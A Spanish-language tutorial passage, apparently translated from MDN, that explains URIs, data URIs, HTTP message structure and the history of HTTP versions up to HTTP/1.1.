Identificación de recursos web

El objetivo de una solicitud HTTP se denomina "recurso", (es decir:

datos), y dicho recurso, no posee un tipo definido por defecto; puede ser
un documento, o una foto, o cualquier otra posibilidad. Cada recurso es
identificado por un Identificador Uniforme de Recursos (URI) y es
utilizado a través de HTTP, para la identificación del tipo de recurso.

La identidad y la localización del recursos en la Web son en su mayoria

proporcionados por una sola dirección URL (Localicador de Recursos
Uniforme; un tipo de URI). A veces, el mismo URI no proporciona la
identidad ni la ubicación: HTTP usa un encabezado HTTP especifico, Alt-
Svc (en-US) cuando el recurso solicitado por el cliente quiere acceder a él
en otra ubicación.

URLs and URNs

URLs

La forma más común de URI es la (URL) (de las siglas en ingles: "Uniform Resource
Locator", que podría traducirse como: Localizador Uniforme de Recursos), que se conoce
como la dirección web.

[Link]
[Link]
[Link]

Cualquiera de estas URLs se pueden escribir en la barra de direcciones de su navegador

para decirle que cargue la página asociada (recurso).

Una URL está compuesta de diferentes partes, algunas obligatorias y otras son opcionales.
Un ejemplo más complejo podría tener este aspecto:

[Link]
key1=value1&key2=value2#SomewhereInTheDocument

URNs

Un URN es una URI que identifica un recurso por su nombre en un espacio de nombres
particular.

urn:isbn:9780141036144
urn:ietf:rfc:7230

Las dos URNs corresponden a

  El libro "1984" por George Orwell,
 La especificación IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Sintaxis de
Mensajes y Enrutamiento.

Sintaxis de Identificador Uniforme de Recursos (URIs)

Esquema o protocolo

[Link] el protocolo. Indica que el protocolo debe utilizar el navegador. Por lo

general, es el protocolo HTTP o su versión segura, HTTPS. La Web requiere de uno
de estos dos, pero los navegadores también saben como manejar otros protocolos
como mailto: (para abrir un cliente de correo) o ftp: para manejar la transferencia de
archivos, por lo que no se sorprenda si usted ve este tipo de protocolos. Los
esquemas comunes son:

Esquema Descripción
Data Datos URIs
File Host-nombre de archivo específicos
ftp Protocolo de Transferencia de Archivos
http/https Protocolo de transferencia de Hipertexto (Seguro)
mailto Dirección de correo electrónico
Ssh shell seguro
Tel teléfono
Urn Nombres Uniformes de Recursos
view-source Código fuente del recurso
ws/wss (Encriptado) conexiones WebSocket

Autoridad

[Link] es el nombre de dominio o autoridad que gobierna el espacio de

nombres. Indica cuando es solicitado el servidor Web . Alternativamente, Es posile
 usar directamente una IP address, pero debido a que es menos conveniente, no se
usa muy amenudo en la Web.

Puerto

:80 es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los
recursos en el servidor web. Usualmente es omitido si el servidor web usa los
puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para
permitir el acceso a sus recursos. De lo contrario, es obligatorio.

Ruta de Acceso

/path/to/[Link] es la ruta de acceso al recurso en el servidor Web. En los

primeros días de la Web, una ruta como esta presentaba la ubicación física del
archivo en el servidor Web. Hoy en día, es sobre todo una abstracción manejada por
los servidores Web sin ningún tipo de realidad física.

Consulta

?key1=value1&key2=value2 son unos parametros adicionales proporcionados al

servidor Web. Esos parámetros son una lista de pares llave/valores separados por el
simbolo &. El servidor Web puede utilizar estos parámetros para hacer cosas
adicionales antes de retornar el recurso al usuario. Cada servidor Web tiene sus
propias reglas con respecto a los parametros, y la única manera confiable de saber
cómo un servidor web especifico está manejando parametros es preguntando al
usuario del servidor web.
Fragmento

#SomewhereInTheDocument es una referencia a otra parte del propio recurso.

Esto representa una especie de "marcador" dentro del recurso, otorgandole al
navegador las instrucciones para mostrar el contenido que se encuentra en esa
referencia señalada. En un documento HTML, por ejemplo, el navegador se
desplazará hasta el punto donde se define el fragmento; en un video o documento de
audio, el navegador intentará ir a la vez que el ancla se presenta. Vale la pena
señalar que la parte después de la #, también conocido como indentificador de
fragmento, nunca se envía al servidor con la solicitud.

Ejemplos
[Link]
[Link]
git@[Link]:mdn/[Link]
[Link]
urn:isbn:9780141036144

Datos URIs
Datos URIs, URLs prefijados con los datos: esquema, permiten a los
creadores de contenido incorporar pequeños archivos en linea en los
documentos.

Sintaxis
Los datos URIs se componen de cuatro partes a: un prefijo (data:), un tipo MIME que
indica el tipo de datos, un token base64 opcional no textual, y los datos en si:

data:[<mediatype>][;base64],<data>

El mediatype es una cadena de tipo MIME, por ejemplo 'image/jpeg' para un archivo de
imagen JPEG. si se omite, será por defecto text/plain;charset=US-ASCII

Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes
adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64
para insertar datos binarios codificados en base-64.
Algunos ejemplos:

data:,Hello%2C%20World!

Datos simples text/plain

data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D

versión codificada en base64-encoded de las anteriores

data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E

Un documento HTML con <h1>Hello, World!</h1>

data:text/html,<script>alert('hi');</script>

Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se
requiere la etiqueta script de cierre.

Codificación de datos en formato base64

Esto se puede hacer fácilmente desde la línea de comandos usando uuencode, una utilidad
disponible en sistemas Linux y Mac OS X:

BASHCopy to Clipboard
uuencode -m infile remotename

El parámetro infile es el nombre para el archivo que desees decodificar en formato base64,
y remotename es el nombre remoto para el archivo, que no se utilizará realmente en los
datos de las URLs.

La salida será similar a esto:

xbegin-base64 664 test

YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
====

El URI de datos utilizará los datos codificados después de la cabezera inicial.

En la pagina Web, usando JavaScript

Las Web tiene APIs primitivas para codificar o decodificar en base64: codificación y
decodificación Base64 (en-US).

Problemas comunes
Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los
datos URIs.

Sintaxis

El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una
coma antes del segmento de la "data", o para codificar incorrectamente los datos en
formato base64.

Formateando en HTML

Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser
muy amplia con relación con el ancho del documento de cierre. Como una URL, los
datos se les puede dar formato con espacios en blanco (avance de línea, pestaña, o
espacios), pero hay cuestiones prácticas que se plantean cuando se usa codificación
base64.

Limitaciones de longitud

Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los
navegadores no están obligados a apoyar cualquier longitud máxima de datos en
particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de los
65000 caracteres.

Falta de control de errores

Los parametros no válidos en los medios de comunicación, o errores ortográficos

cuando se especifiquen 'base64', se ignoran, pero no se proporciona ningún error.

No hay soporte para consulta de cadenas, etc.

Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar
una cadena de consulta (parametros específicos de página, con la sintaxis <url>?
parameter-data) con un URIs de datos que se acaba de incluir la cadena de
consulta en los datos de la URI que representa. Por ejemplo:

data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val

Esto representa un recurso HTML cuyo contenido es:

lots of text...<p><a name="bottom">bottom</a>?arg=val

Conceptos básicos de HTTP

El protocolo HTTP es un protocolo ampliable, es decir se puede añadir
"vocabulario". HTTP está basado en unos pocos conceptos básicos como
el concepto de recursos y URIs, una estructura sencilla de mensajes, y
una arquitectura de cliente-servidor para ordenar el flujo de las
comunicaciones. A demás de estos conceptos, a lo largo de su desarrollo
han aparecido otros nuevos y se han añadido funcionalidades y reglas
semánticas, creando nuevos métodos y cabeceras.

Artículos
Generalidades del HTTP

Descripción de qué es el protocolo HTTP y su función en la arquitectura de la Web.

Evolución del HTTP

HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas
versiones varias veces. En este artículo se expone la evolución de su desarrollo y las
versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como
detalles de las funciones que se han ido incluyendo.

Negociación de la versión de HTTP

Se explica como un cliente y un servidor pueden negociar una versión específica de

HTTP y eventualmente actualizar la version usada.

Recursos y URIs (en-US)

Una breve descripción sobre qué son los recursos, identificadores y localidades en
la Web.

Identificación de recursos en la Web

Descripción de como se referencian recursos en la Web, como son referenciados y

como localizarlos.

URIs de datos

Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan.
Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas.

URLs de recursos (en-US)

Los recursos URL, prefijados con resource: en vez de http son usados por Firefox y
algunas extensiones del navegador para cargar recursos internamente, pero parte de
 la información también está disponible para los sitios a los que se conecta el
navegador.

Separación de la identidad y la localización de un recurso: la cabecera Alt-Svc

En la mayoría de los casos, la identidad y localización de un recurso Web, son

compartidos, esto se puede modificar con la cabecera de HTTP: Alt-Svc (en-US).

Tipos MIME

Desde la versión HTTP/1.0, es posible trasmitir distintos formatos de recursos. En

este artículo se explica como se hace, usando la cabecera: Content-Type, y el
estándar MIME.

Elección de URLs: www y no-www

Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se
explican los resultados de la elección y cómo hacerla.

Flujo de comunicación en una sesión HTTP (en-US)

En este artículo se describe una comunicación típica de una sesión HTTP, y lo que
sucede internamente cuando se hace click en un hiper-vínculo.

Mensajes HTTP

Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy
concreta; en este artículo se describe su estructura, su propósito y posibilidades.

Tramas y estructura de los mensajes en HTTP/2

La versión HTTP/2 encapsula y representa los mensajes de HTTP/1.x pero en

tramas binarias. En este artículo se explica la estructura y los campos de las tramas,
su finalidad y cómo se codifica.

Proceso de conexión en HTTP/1.x

HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y
el pipelining. En este artículo se explican estos dos conceptos.

Proceso de conexión en HTTP/2

HTTP/2 revisó completamente, los métodos de negociación, creación y

mantenimiento de conexiones: en este artículo se explica como se puede conseguír
la multiplexación de las tramas y resolver el problema de 'head-of-line', que tenían
las versiones anteriores de HTTP.
Negociación de contenidos (en-US)

HTTP presenta una serie de cabeceras que comienzan con Accept- como medio para
notificar al navegador, el formato, lenguaje, o codificación que prefiere. En este
artículo se explica el este proceso, como debe actuar el servidor, y como se elige la
respuesta más apropiada.

Generalidades del protocolo HTTP

HTTP, de sus siglas en inglés: "Hypertext Transfer Protocol", es el
nombre de un protocolo el cual nos permite realizar una petición de
datos y recursos, como pueden ser documentos HTML. Es la base de
cualquier intercambio de datos en la Web, y un protocolo de estructura
cliente-servidor, esto quiere decir que una petición de datos es iniciada
por el elemento que recibirá los datos (el cliente), normalmente un
navegador Web. Así, una página web completa resulta de la unión de
distintos sub-documentos recibidos, como, por ejemplo: un documento
que especifique el estilo de maquetación de la página web (CSS), el
texto, las imágenes, vídeos, scripts, etc...

Clientes y servidores se comunican intercambiando mensajes

individuales (en contraposición a las comunicaciones que utilizan flujos
continuos de datos). Los mensajes que envía el cliente, normalmente un
navegador Web, se llaman peticiones, y los mensajes enviados por el
servidor se llaman respuestas.

Diseñado a principios de la década de 1990, HTTP es un protocolo

ampliable, que ha ido evolucionando con el tiempo. Es lo que se conoce
como un protocolo de la capa de aplicación, y se transmite sobre el
protocolo TCP, o el protocolo encriptado TLS (en-US), aunque
teóricamente podría usarse cualquier otro protocolo fiable. Gracias a que
es un protocolo capaz de ampliarse, se usa no solo para transmitir
documentos de hipertexto (HTML), si no que además, se usa para
transmitir imágenes o vídeos, o enviar datos o contenido a los
servidores, como en el caso de los formularios de datos. HTTP puede
incluso ser utilizado para transmitir partes de documentos, y actualizar
páginas Web en el acto.

Arquitectura de los sistemas basados en HTTP

HTTP es un protocolo basado en el principio de cliente-servidor: las peticiones son
enviadas por una entidad: el agente del usuario (o un proxy a petición de uno). La mayoría
de las veces el agente del usuario (cliente) es un navegador Web, pero podría ser cualquier
otro programa, como por ejemplo un programa-robot, que explore la Web, para adquirir
datos de su estructura y contenido para uso de un buscador de Internet.
Cada petición individual se envía a un servidor, el cuál la gestiona y responde. Entre
cada petición y respuesta, hay varios intermediarios, normalmente
denominados proxies (en-US), los cuales realizan distintas funciones, como: gateways
o caches.

En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona
su petición: hay otros tipos de dispositivos: como routers, modems ... Es gracias a la
arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y
al servidor, ya que HTTP se apoya en los protocolos de red y transporte. HTTP es un
protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar
problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición
del protocolo HTTP .

Cliente: el agente del usuario

El agente del usuario, es cualquier herramienta que actué en representación del usuario.
Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay
excepciones, como el caso de programas específicamente usados por desarrolladores para
desarrollar y depurar sus aplicaciones.

El navegador es siempre el que inicia una comunicación (petición), y el servidor nunca la

comienza (hay algunos mecanismos que permiten esto, pero no son muy habituales).

Para poder mostrar una página Web, el navegador envía una petición de
documento HTML al servidor. Entonces procesa este documento, y envía más peticiones
para solicitar scripts, hojas de estilo (CSS), y otros datos que necesite (normalmente vídeos
y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado
final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden
generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la
página Web en consecuencia.

Una página Web, es un documento de hipertexto (HTTP), luego habrá partes del texto en la
página que puedan ser enlaces (links) que pueden ser activados (normalmente al hacer click
sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su
agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en
peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al
usuario la página Web que desea.

El servidor Web
Al otro lado del canal de comunicación, está el servidor, el cual "sirve" los datos que ha
pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar
formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u
otros programas, que gestionan otros computadores (como cache, bases de datos, servidores
de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido.

Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios
servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1
y Host , pueden incluso compartir la misma dirección de IP.

Proxies

Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los
mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos
solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de
transporte, capa de red o capa física, siendo así transparentes para la capa de
comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la
comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son
conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones
que pasan por ellos), y realizan varias funciones:

 caching (la caché puede ser pública o privada, como la caché de un navegador)
 filtrado (como un anti-virus, control parental, ...)
 balanceo de carga de peticiones (para permitir a varios servidores responder a la
carga total de peticiones que reciben)
 autentificación (para el control al acceso de recursos y datos)
 registro de eventos (para tener un histórico de los eventos que se producen)

Características clave del protocolo HTTP

HTTP es sencillo

Incluso con el incremento de complejidad, que se produjo en el desarrollo de la versión del

protocolo HTTP/2, en la que se encapsularon los mensajes, HTTP esta pensado y
desarrollado para ser leído y fácilmente interpretado por las personas, haciendo de esta
manera más facil la depuración de errores, y reduciendo la curva de aprendizaje para las
personan que empieza a trabajar con él.

HTTP es extensible

Presentadas en la versión HTTP/1.0, las cabeceras de HTTP, han hecho que este protocolo
sea fácil de ampliar y de experimentar con él. Funcionalidades nuevas pueden desarrollarse,
sin más que un cliente y su servidor, comprendan la misma semántica sobre las cabeceras
de HTTP.
HTTP es un protocolo con sesiones, pero sin estados

HTTP es un protocolo sin estado, es decir: no guarda ningún dato entre dos peticiones en la
mísma sesión. Esto crea problemáticas, en caso de que los usuarios requieran interactuar
con determinadas páginas Web de forma ordenada y coherente, por ejemplo, para el uso de
"cestas de la compra" en páginas que utilizan en comercio electrónico. Pero, mientras
HTTP ciertamente es un protocolo sin estado, el uso de HTTP cookies, si permite guardar
datos con respecto a la sesión de comunicación. Usando la capacidad de ampliación del
protocolo HTTP, las cookies permiten crear un contexto común para cada sesión de
comunicación.

HTTP y conexiones

Una conexión se gestiona al nivel de la capa de trasporte, y por tanto queda fuera del
alcance del protocolo HTTP. Aún con este factor, HTTP no necesita que el protocolo que lo
sustenta mantenga una conexión continua entre los participantes en la comunicación,
solamente necesita que sea un protocolo fiable o que no pierda mensajes (como mínimo, en
todo caso, un protocolo que sea capaz de detectar que se ha pedido un mensaje y reporte un
error). De los dos protocolos más comunes en Internet, TCP es fiable, mientras que UDP,
no lo es. Por lo tanto HTTP, se apoya en el uso del protocolo TCP, que está orientado a
conexión, aunque una conexión continua no es necesaria siempre.

En la versión del protocolo HTTP/1.0, habría una conexión TCP por cada
petición/respuesta intercambiada, presentando esto dos grandes inconvenientes: abrir y
crear una conexión requiere varias rondas de mensajes y por lo tanto resultaba lento. Esto
sería más eficiente si se mandaran varios mensajes.

Para atenuar estos inconvenientes, la versión del protocolo HTTP/1.1 presentó el

'pipelining' y las conexiones persistentes: el protocolo TCP que lo transmitía en la capa
inferior se podía controlar parcialmente, mediante la cabecera 'Connection'. La versión del
protocolo HTTP/2 fue más allá y usa multiplexación de mensajes sobre un única conexión,
siendo así una comunicación más eficiente.

Todavía hoy se sigue investigando y desarrollando para conseguir un protocolo de

transporte más conveniente para el HTTP. Por ejemplo, Google está experimentado
con QUIC, que se apoya en el protocolo UDP y presenta mejoras en la fiabilidad y
eficiencia de la comunicación.

¿Qué se puede controlar con HTTP?

La característica del protocolo HTTP de ser ampliable, ha permitido que durante su
desarrollo se hayan implementado más funciones de control y funcionalidad sobre la Web:
caché o métodos de identificación o autentificación fueron temas que se abordaron pronto
en su historia. Al contrario la relajación de la restricción de origen solo se ha abordado en
los años de la década de 2010.
Se presenta a continuación una lista con los elementos que se pueden controlar con el
protocolo HTTP:

 Cache El como se almacenan los documentos en la caché, puede ser especificado

por HTTP. El servidor puede indicar a los proxies y clientes, que quiere almacenar y
durante cuanto tiempo. Aunque el cliente, también puede indicar a los proxies de
caché intermedios que ignoren el documento almacenado.
 Flexibilidad del requisito de origen Para prevenir invasiones de la privacidad de los
usuarios, los navegadores Web, solamente permiten a páginas del mismo origen,
compartir la información o datos. Esto es una complicación para el servidor, asi que
mediante cabeceras HTTP, se puede flexibilizar o relajar esta división entre cliente
y servidor
 Autentificación Hay páginas Web, que pueden estar protegidas, de manera que solo
los usuarios autorizados puedan acceder. HTTP provee de servicios básicos de
autentificación, por ejemplo mediante el uso de cabeceras como: WWW-
Authenticate, o estableciendo una sesión especifica mediante el uso de HTTP
cookies.
 Proxies y tunneling (en-US) Servidores y/o clientes pueden estar en intranets y
esconder así su verdadera dirección IP a otros. Las peticiones HTTP utilizan los
proxies para acceder a ellos. Pero no todos los proxies son HTTP proxies. El
protocolo SOCKS, por ejemplo, opera a un nivel más bajo. Otros protocolos, como
el FTP, pueden ser servidos mediante estos proxies.
 Sesiones El uso de HTTP cookies permite relacionar peticiones con el estado del
servidor. Esto define las sesiones, a pesar de que por definición el protocolo HTTP
es un protocolo sin estado. Esto es muy útil no sólo para aplicaciones de comercio
electrónico, sino también para cualquier sitio que permita configuración al usuario.

Flujo de HTTP
Cuando el cliente quiere comunicarse con el servidor, tanto si es directamente con él, o a
través de un proxy intermedio, realiza los siguientes pasos:

1. Abre una conexión TCP: la conexión TCP se usará para hacer una petición, o varias,
y recibir la respuesta. El cliente pude abrir una conexión nueva, reusar una
existente, o abrir varias a la vez hacia el servidor.
2. Hacer una petición HTTP: Los mensajes HTTP (previos a HTTP/2) son legibles en
texto plano. A partir de la versión del protocolo HTTP/2, los mensajes se
encapsulan en franjas, haciendo que no sean directamente interpretables, aunque el
principio de operación es el mismo.

HTMLCopy to Clipboard

GET / HTTP/1.1 Host: [Link] Accept-Language: fr

3. Leer la respuesta enviada por el servidor:

 HTMLCopy to Clipboard

HTTP/1.1 200 OK
Date: Sat, 09 Oct 2010 14:28:02 GMT
Server: Apache
Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
ETag: "51142bc1-7449-479b075b2891b"
Accept-Ranges: bytes
Content-Length: 29769
Content-Type: text/html

<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)

4. Cierre o reuso de la conexión para futuras peticiones.

Si está activado el HTTP pipelining, varias peticiones pueden enviarse sin tener que esperar
que la primera respuesta haya sido satisfecha. Este procedimiento es difícil de implementar
en las redes de computadores actuales, donde se mezclan software antiguos y modernos.
Así que el HTTP pipelining ha sido substituido en HTTP/2 por el multiplexado de varias
peticiones en una sola trama

Mensajes HTTP
En las versiones del protocolo HTTP/1.1 y anteriores los mensajes eran de formato texto y
eran totalmente comprensibles directamente por una persona. En HTTP/2, los mensajes
estan estructurados en un nuevo formato binario y las tramas permiten la compresión de las
cabeceras y su multiplexación. Así pues, incluso si solamente parte del mensaje original en
HTTP se envía en este formato, la sematica de cada mensaje es la misma y el cliente puede
formar el mensaje original en HTTP/1.1. Luego, es posible interpretar los mensajes
HTTP/2 en el formato de HTTP/1.1.

Existen dos tipos de mensajes HTTP: peticiones y respuestas, cada uno sigue su propio
formato.

Peticiones

Un ejemplo de petición HTTP:

Una petición de HTTP, está formado por los siguientes campos:

 Un método HTTP, normalmente pueden ser un verbo, como: GET, POST o un

nombre como: OPTIONS (en-US) o HEAD (en-US), que defina la operación que el
cliente quiera realizar. El objetivo de un cliente, suele ser una petición de recursos,
usando GET, o presentar un valor de un formulario HTML (en-US), usando POST,
aunque en otras ocasiones puede hacer otros tipos de peticiones.
 La dirección del recurso pedido; la URL del recurso, sin los elementos obvios por el
contexto, como pueden ser: sin el protocolo ([Link]
el dominio (aquí [Link]), o el puerto TCP (aquí el 80).
 La versión del protocolo HTTP.
 Cabeceras HTTP opcionales, que pueden aportar información adicional a los
servidores.
 O un cuerpo de mensaje, en algún método, como puede ser POST, en el cual envía
la información para el servidor.

Respuestas

Un ejemplo de repuesta:
Las respuestas están formadas por los siguientes campos:

 La versión del protocolo HTTP que están usando.

 Un código de estado, indicando si la petición ha sido exitosa, o no, y debido a que.
 Un mensaje de estado, una breve descripción del código de estado.
 Cabeceras HTTP, como las de las peticiones.
 Opcionalmente, el recurso que se ha pedido.

Conclusión
El protocolo HTTP es un protocolo ampliable y fácil de usar. Su estructura cliente-servidor,
junto con la capacidad para usar cabeceras, permite a este protocolo evolucionar con las
nuevas y futuras aplicaciones en Internet.

Aunque la versión del protocolo HTTP/2 añade algo de complejidad, al utilizar un formato
en binario, esto aumenta su rendimiento, y la estructura y semantica de los mensajes es la
misma desde la versión HTTP/1.0. El flujo de comunicaciones en una sesión es sencillo y
puede ser fácilmente estudiado e investigado con un simple monitor de mensajes HTTP

Evolución del protocolo HTTP

HTTP es el protocolo en el que se basa la Web. Fue inventado por Tim
Berners-Lee entre los años 1989-1991, HTTP ha visto muchos cambios,
manteniendo la mayor parte de su simplicidad y desarrollando su
flexibilidad. HTTP ha evolucionado, desde un protocolo destinado al
intercambio de archivos en un entorno de un laboratorio semi-seguro, al
actual laberinto de Internet, sirviendo ahora para el intercambio de
imágenes, vídeos en alta resolución y en 3D.

Invención de la World Wide Web

En 1989, mientras trabajaba en el CERN, Tim Berners-Lee escribió una propuesta para
desarrollar un sistema de hipertexto sobre Internet. Inicialmente lo llamó: 'Mesh' (malla, en
inglés), y posteriormente se renombró como World Wide Web (red mundial), durante su
implementación en 1990. Desarrollado sobre los protocolos existentes TCP e IP, está
basado en cuatro bloques:

 Un formato de texto para representar documentos de hiper-texto: HyperText

Markup Language (HTML).
 Un protocolo sencillo para el intercambio de esos documentos, del
inglés: HypertText Transfer Protocol (HTTP) : protocolo de transferencia de hiper-
texto.
 Un cliente que muestre (e incluso pueda editar) esos documentos. El primer
navegador Web, llamado: WorldWideWeb.
 Un servidor para dar acceso a los documentos, una versión temprana: httpd (http
daemon)

Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros
servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de
1991, el post de Tim Berners-Lee, se considera actualmente como el inicio oficial de la
Web como proyecto público.

La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla,
posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola
línea.

HTTP/0.9 – El protocolo de una sola línea

La versión inicial de HTTP, no tenía número de versión; aunque posteriormente se la
denominó como 0.9 para distinguirla de las versiones siguientes. HTTP/0.9 es un protocolo
extremadamente sencillo: una petición consiste simplemente en una única linea, que
comienza por el único método posible GET, seguido por la dirección del recurso a pedir (no
la URL, ya que tanto el protocolo, el servidor y el puerto, no son necesarios una vez ya se
ha conectado al servidor).

GET /[Link]
La respuesta también es muy sencilla: solamente consiste el archivo pedido.

HTMLCopy to Clipboard
<html>
Una pagina web muy sencilla
</html>

Al contrario que sus posteriores evoluciones, el protocolo HTTP/0.9 no usa cabeceras

HTTP, con lo cual únicamente es posible transmitir archivos HTML, y ningún otro tipo de
archivos. Tampoco había información del estado ni códigos de error: en el caso un
problema, el archivo HTML pedido, era devuelto con una descripción del problema dentro
de él, para que una persona pudiera analizarlo.

HTTP/1.0 – Desarrollando expansibilidad

La versión HTTP/0.9 era ciertamente limitada y tanto los navegadores como los servidores,
pronto ampliaron el protocolo para que fuera más flexible.

 La versión del protocolo se envía con cada petición: HTTP/1.0 se añade a la línea de
la petición GET.
 Se envía también un código de estado al comienzo de la respuesta, permitiendo así
que el navegador pueda responder al éxito o fracaso de la petición realizada, y
actuar en consecuencia (como actualizar el archivo o usar la caché local de algún
modo).
 El concepto de cabeceras de HTTP, se presentó tanto para las peticiones como para
las respuestas, permitiendo la trasmisión de meta-data y conformando un protocolo
muy versátil y ampliable.
 Con el uso de las cabeceras de HTTP, se pudieron transmitir otros documentos
además de HTML, mediante la cabecera Content-Type.

Una petición normal, sigue la estructura:

GET /[Link] HTTP/1.0

User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)

200 OK
Date: Tue, 15 Nov 1994 08:12:31 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/html
<HTML>
Una pagina web con una imagen
<IMG SRC="/[Link]">
</HTML>

Continua con una segunda conexión y la petición de una imagen:

GET /[Link] HTTP/1.0

User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
200 OK
Date: Tue, 15 Nov 1994 08:12:32 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/gif
(image content)

Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una
aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador,
añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo
eran muy comunes los problemas de interoperatividad. En Noviembre de 1996, para poner
fin a estos problemas se publicó un documento informativo que describía las prácticas
adecuadas, RFC 1945. Esté documento es la definición del protocolo HTTP/1.0. Resulta
curioso, que realmente no es un estándar oficial.

HTTP/1.1 – El protocolo estándar

En paralelo al uso, un poco desordenado, y las diversas implementaciones de HTTP/1.0, y
desde el año 1995, un año antes de la publicación del documento del HTTP/1.0, un proceso
de estandarización formal ya estaba en curso. La primera versión estandarizada de HTTP:
el protocolo HTTP/1.1, se publicó en 1997, tan solo unos meses después del HTTP/1.0

HTTP/1.1 aclaró ambigüedades y añadió numerosas mejoras:

 Una conexión podía ser reutilizada, ahorrando así el tiempo de re-abrirla repetidas
veces para mostrar los recursos empotrados dentro del documento original pedido.
 Enrutamiento ('Pipelining' en inglés) se añadió a la especificación, permitiendo
realizar una segunda petición de datos, antes de que fuera respondida la primera,
disminuyendo de este modo la latencia de la comunicación.
 Se permitió que las respuestas a peticiones, podían ser divididas en sub-partes.
 Se añadieron controles adicionales a los mecanismos de gestión de la cache.
 La negociación de contenido, incluyendo el lenguaje, el tipo de codificación, o
tipos, se añadieron a la especificación, permitiendo que servidor y cliente, acordasen
el contenido más adecuado a intercambiarse.
 Gracias a la cabecera, Host, pudo ser posible alojar varios dominios en la misma
dirección IP.

El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone
a continuación:

GET /es/docs/Glossary/Simple_header HTTP/1.1

Host: [Link]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: [Link]
200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Date: Wed, 20 Jul 2016 10:55:30 GMT
Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
Keep-Alive: timeout=5, max=1000
Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
Server: Apache
Transfer-Encoding: chunked
Vary: Cookie, Accept-Encoding

(...contenido...)

GET /static/img/[Link] HTTP/1.1

Host: [Link]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: [Link]

200 OK
Age: 9578461
Cache-Control: public, max-age=315360000
Connection: keep-alive
Content-Length: 3077
Content-Type: image/png
Date: Thu, 31 Mar 2016 13:34:46 GMT
Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
Server: Apache

(image content of 3077 bytes)

HTTP/1.1 fue publicado inicialmente como RFC 2068 en Enero de 1997.

Más de 15 años de expansiones

Gracias a su expansibilidad - ya que la creación de nuevas cabeceras o métodos es sencilla -
e incluso teniendo en cuenta que el protocolo HTTP/1.1 fue mejorado en dos revisiones: la
primera, el documento RFC 2616, publicado en Junio de 1999 y posteriormente en los
documentos RFC 7230-RFC 7235 publicados en Junio del 2014, en previsión de la
publicación de HTTP/2. Así pues, el protocolo HTTP/1.1 ha sido increíblemente estable
durante más de 15 años.

El uso de HTTP para transmisiones seguras

El mayor cambio en el desarrollo de HTTP, fue a finales de 1994. En vez de trasmitir
HTTP sobre la capa de TCP/IP, se creo una capa adicional sobre esta: SSL. La versión SSL
